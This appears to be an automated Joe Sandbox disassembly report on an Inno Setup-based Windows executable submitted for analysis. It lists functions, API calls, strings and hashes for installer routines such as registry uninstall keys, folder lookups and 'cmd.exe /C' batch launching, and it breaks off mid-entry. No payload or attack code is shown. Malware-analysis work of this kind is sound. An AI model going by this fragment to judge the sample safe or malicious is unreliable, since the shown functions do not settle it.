Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: ecd875b9fed982c6964d0a5895b6aed5fdd9f377785afaacdd435e2d250d9586
Instruction ID: 55e3f4d73e57614863bf74929b0f0177a2d28665cd9645ad6096ae2f13a54172
Opcode Fuzzy Hash: ecd875b9fed982c6964d0a5895b6aed5fdd9f377785afaacdd435e2d250d9586
Instruction Fuzzy Hash: D6113D81549782B4DA21BB7D8D5AB6F1A888B10F5AF140C3B7C40753C2E96DCE458B6E

Function 00468BFC Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,00468E16,?,?,00000001,00000000,00000000,00468E31,?,00000000,00000000,?), ref: 00468DFF

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00468C5B
Inno Setup: Deselected Tasks, xrefs: 00468D8D
Inno Setup: App Path, xrefs: 00468CBE
Inno Setup: User Info: Serial, xrefs: 00468DE1
Inno Setup: Selected Tasks, xrefs: 00468D6B
Inno Setup: Setup Type, xrefs: 00468D0E
Inno Setup: User Info: Organization, xrefs: 00468DCE
Inno Setup: User Info: Name, xrefs: 00468DBB
Inno Setup: No Icons, xrefs: 00468CE7
Inno Setup: Selected Components, xrefs: 00468D1E
Inno Setup: Icon Group, xrefs: 00468CDA
Inno Setup: Deselected Components, xrefs: 00468D40
%s\%s_is1, xrefs: 00468C79

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: 477994bb8960d1965e10b40f61816eaf4c7b707db17a7ca4aa6169c09ca9eb9e
Instruction ID: 0c37994fccd001a995e494b6850b37eb05b7d5ed784e69181523ebf3a7e49158
Opcode Fuzzy Hash: 477994bb8960d1965e10b40f61816eaf4c7b707db17a7ca4aa6169c09ca9eb9e
Instruction Fuzzy Hash: 8D51C570A006049BCB10DB65C941BDEB7F5EF48304F50856EE840AB391EB38AF01CB6D

Function 0047C15C Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042D898: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00453DB4,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15), ref: 0042D8AB

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 0042D8F0: GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
Part of subcall function 0042D8F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910

SHGetKnownFolderPath.SHELL32(00499D1C,00008000,00000000,?,00000000,0047C432), ref: 0047C336
CoTaskMemFree.OLE32(?,0047C37B), ref: 0047C36E

Part of subcall function 0042D208: GetEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,?,?,00000000,0042DA3E,00000000,0042DAD0,?,?,?,0049B628,00000000,00000000), ref: 0042D233

Strings

\Program Files, xrefs: 0047C24B
Common Files, xrefs: 0047C295
ProgramFilesDir, xrefs: 0047C224, 0047C2AB
COMMAND.COM, xrefs: 0047C40D
Failed to get path of 64-bit Common Files directory, xrefs: 0047C2FC
cmd.exe, xrefs: 0047C3EC
CommonFilesDir, xrefs: 0047C25E, 0047C2DA
Failed to get path of 64-bit Program Files directory, xrefs: 0047C2CD
SystemDrive, xrefs: 0047C1C3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Directory$AddressEnvironmentFolderFreeHandleKnownModulePathProcSystemTaskVariableWindows
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 3771764029-544719455
Opcode ID: 458afd9a1cda60bc5c06d2a3f17cd4b8a975594a1455dcf27ea3d462b6d04529
Instruction ID: 599f5abe96f02a195e24b8b9203061af68f55c26e596fa95a84979d127ba116b
Opcode Fuzzy Hash: 458afd9a1cda60bc5c06d2a3f17cd4b8a975594a1455dcf27ea3d462b6d04529
Instruction Fuzzy Hash: 84619134A00204ABDB10EBA5E8D2A9E7B65EB54308F90C57FE804A7396C73C9E44CF5D

Function 00423874 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F3C4: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2

GetClassInfoA.USER32(00400000,0042367C), ref: 0042389F
RegisterClassA.USER32(00499630), ref: 004238B7
GetSystemMetrics.USER32(00000000), ref: 004238D9
GetSystemMetrics.USER32(00000001), ref: 004238E8
SetWindowLongA.USER32(00410460,000000FC,0042368C), ref: 00423944
SendMessageA.USER32(00410460,00000080,00000001,00000000), ref: 00423965
GetSystemMenu.USER32(00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 00423970
DeleteMenu.USER32(00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 0042397F
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0042398C
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000), ref: 004239A2

Strings

|6B, xrefs: 00423893, 00423914

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: |6B
API String ID: 183575631-3009739247
Opcode ID: 0318a091630d13b60d0a3e6aa49d41dd0f32c1053a4a49f7651c07b17dd5309d
Instruction ID: 5979ac727d64f3fe5c9a0a43452729076f54e0f9e4c251b9a4c28f9d6bed272f
Opcode Fuzzy Hash: 0318a091630d13b60d0a3e6aa49d41dd0f32c1053a4a49f7651c07b17dd5309d
Instruction Fuzzy Hash: E63152B17402006AEB10AF69DC82F6A37989B14709F60017BFA44EF2D7C6BDED40876D

Function 0047C968 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(72AE0000,SHGetFolderPathA), ref: 0047CA6A

Strings

Failed to get version numbers of _shfoldr.dll, xrefs: 0047C9C0
SHFOLDERDLL, xrefs: 0047C9A7
shell32.dll, xrefs: 0047CA15
Failed to load DLL "%s", xrefs: 0047CA4D
_isetup\_shfoldr.dll, xrefs: 0047C99A
Failed to get address of SHGetFolderPath function, xrefs: 0047CA7B
SHGetFolderPathA, xrefs: 0047CA5F
shfolder.dll, xrefs: 0047C9CD, 0047CA06
ptI, xrefs: 0047C9B1, 0047C9F6, 0047C9DE, 0047C9E6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$ptI$shell32.dll$shfolder.dll
API String ID: 190572456-2576699960
Opcode ID: de0f38486c819f413c08132c2c10785360ce7bb1d082894e1dd7e5610f115569
Instruction ID: 1b7f257eac351b2865de88edbb479a2ab4f4c09eb1d5ad9e3bfc9d6f8503b50a
Opcode Fuzzy Hash: de0f38486c819f413c08132c2c10785360ce7bb1d082894e1dd7e5610f115569
Instruction Fuzzy Hash: 66310E70A001099BCB00EB95D5D2AEEB7B5EB44305F50847BE404F7241D778AE45CBAD

Function 0040631C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00498730), ref: 00406322
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498730), ref: 00406366

Strings

SetDllDirectoryW, xrefs: 00406329
kernel32.dll, xrefs: 0040631D
SetSearchPathMode, xrefs: 0040633F
SetProcessDEPPolicy, xrefs: 00406355

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
Instruction ID: 935c6a5f7b98c90e27654dc67135d8c1f882d2ad5d8c1b9d0efaf55941893a49
Opcode Fuzzy Hash: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
Instruction Fuzzy Hash: 97E02D90380702ACEA1032B20D82F3B144C9B54B69B26543B7D56B51C7D9BDDD7059BD

Function 0041321B Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 633COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
GetWindowLongA.USER32(?,000000F0), ref: 0041366F
GetWindowLongA.USER32(?,000000F4), ref: 00413681
SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
SetPropA.USER32(?,00000000,00000000), ref: 004136AB
SetPropA.USER32(?,00000000,00000000), ref: 004136C2

Strings

yA, xrefs: 004132DE
3A, xrefs: 0041343D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: LongWindow$Prop
String ID: 3A$yA
API String ID: 3887896539-3278460822
Opcode ID: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
Instruction ID: bcb4e109f9bb3244d1d15a250a8b19338fc20a7c4ef9bfc7c396c8b3ff51cb63
Opcode Fuzzy Hash: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
Instruction Fuzzy Hash: 8C22D06508E3C05FE31B9B74896A5D57FA0EE13325B1D45DFC4C28B1A3D21E8A8BC71A

Function 0042F560 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0042F58F
GetFocus.USER32 ref: 0042F597
RegisterClassA.USER32(004997AC), ref: 0042F5B8
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F68C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F5F6
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F63C
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F64D
SetFocus.USER32(00000000,00000000,0042F66F,?,?,?,00000001,00000000,?,004581A2,00000000,0049B628), ref: 0042F654

Strings

TWindowDisabler-Window, xrefs: 0042F5EF, 0042F635

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 3167913817-1824977358
Opcode ID: af2d58cb1d61aa5294d5b80584b5773ea49d3efeec85bd27a4eae10aec25b275
Instruction ID: c3989f54cd535b42bfd745bd8d6279a550c1ea008e6f4be51b2d228796931bcd
Opcode Fuzzy Hash: af2d58cb1d61aa5294d5b80584b5773ea49d3efeec85bd27a4eae10aec25b275
Instruction Fuzzy Hash: B021A170740710BAE310EF66AD43F1A76B8EB04B44F91853BF604AB2E1D7B86D0586AD

Function 004531F0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 00453210
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 0045322A
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230

Strings

kernel32.dll, xrefs: 0045320B, 00453225
Wow64RevertWow64FsRedirection, xrefs: 00453220
Wow64DisableWow64FsRedirection, xrefs: 00453206
shell32.dll, xrefs: 0045325C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 460e23cb00cf3424ad6d0c49a1f828097ca48bff1b05d8589e040c86aeca4b16
Instruction ID: 0cfad7ca53bf4133c716031d63a26ec494c9be7874946ed143d2344feace3e75
Opcode Fuzzy Hash: 460e23cb00cf3424ad6d0c49a1f828097ca48bff1b05d8589e040c86aeca4b16
Instruction Fuzzy Hash: 9F01D870240B04BED3016F63AD12F563A58E755B5BF5044BBFC1496582C77C4A088EAD

Function 00466FF4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467097
ExtractIconA.SHELL32(00400000,00000000,?), ref: 004670BD

Part of subcall function 00466F34: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00466FCC
Part of subcall function 00466F34: DestroyCursor.USER32(00000000), ref: 00466FE2

ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00467114
SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00467175
ExtractIconA.SHELL32(00400000,00000000,?), ref: 0046719B

Strings

c:\directory, xrefs: 00467092
shell32.dll, xrefs: 004670F8

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Icon$Extract$FileInfo$CursorDestroyDraw
String ID: c:\directory$shell32.dll
API String ID: 3376378930-1375355148
Opcode ID: 6d041171d1007e38f1423e999fca6c8345fae3a72a3914b9ee39d1bb44a6fd6f
Instruction ID: 28e44f0b0ade20fd2fa41990bb26b25d2b6273e6e4b8387af8825f96a0abaac4
Opcode Fuzzy Hash: 6d041171d1007e38f1423e999fca6c8345fae3a72a3914b9ee39d1bb44a6fd6f
Instruction Fuzzy Hash: 65517E70604204AFD710DF65CD89FDFB7E8EB49308F1081A7F8089B351D6389E81CA69

Function 00430940 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23registryclipboardthreadCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430948
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 00430957
GetCurrentThreadId.KERNEL32 ref: 00430971
GlobalAddAtomA.KERNEL32(00000000), ref: 00430992

Strings

commdlg_help, xrefs: 00430943
commdlg_FindReplace, xrefs: 00430952
WndProcPtr%.8X%.8X, xrefs: 00430983

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
Instruction ID: 0bd92e6c8c1c5a5b8444157758b44b4e11dae02c37acc47d2edddbd1fb793b69
Opcode Fuzzy Hash: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
Instruction Fuzzy Hash: 22F012B0458340DEE300EB65994271E7BD0EF58718F50467FF498A6392D7795904CB5F

Function 00471FC8 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 272fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,00472199,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555), ref: 00472175
FindClose.KERNEL32(000000FF,004721A0,00472199,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555,?), ref: 00472193
FindNextFileA.KERNEL32(000000FF,?,00000000,004722BB,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555), ref: 00472297
FindClose.KERNEL32(000000FF,004722C2,004722BB,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555,?), ref: 004722B5

Strings

&&G, xrefs: 0047221F, 00472222
&&G, xrefs: 0047200E, 00472025

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: &&G$&&G
API String ID: 2066263336-852616326
Opcode ID: 53d573c3283eea8276722ae00e783839c534cad26cf1d76589be1e10efaeed4f
Instruction ID: 5d8f9e8498e1fb85c1a49ff99105bc28d4ff0fd985b73b461b66a4ef7da0b053
Opcode Fuzzy Hash: 53d573c3283eea8276722ae00e783839c534cad26cf1d76589be1e10efaeed4f
Instruction Fuzzy Hash: F0C14C3490424D9FCF11DFA5C981BDEBBB9FF09304F5085AAE908A3291D7789A45CF64

Function 00455010 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C,00000000), ref: 004551BA
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C), ref: 004551C7

Part of subcall function 00454F7C: WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
Part of subcall function 00454F7C: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
Part of subcall function 00454F7C: GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
Part of subcall function 00454F7C: CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9

Strings

.bat, xrefs: 004550A0
COMMAND.COM" /C , xrefs: 00455124
cmd.exe" /C ", xrefs: 004550ED
D, xrefs: 00455158
.cmd, xrefs: 004550BB

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: d48cb867d8132222f58630969ce6cc8153310e3eaa120555069058459d823a95
Instruction ID: 058baa7e90e176347c833b132b7c272bf8058e823d6e061bdbf2f6311869cd9e
Opcode Fuzzy Hash: d48cb867d8132222f58630969ce6cc8153310e3eaa120555069058459d823a95
Instruction Fuzzy Hash: 41516D34B0074DABCF10EFA5D852BDEBBB9AF44305F50447BB804B7292D7789A098B59

Function 0042368C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96windowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
OemToCharA.USER32(?,?), ref: 0042375C
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C

Strings

MAINICON, xrefs: 00423711
2, xrefs: 004236EA

Memory Dump Source

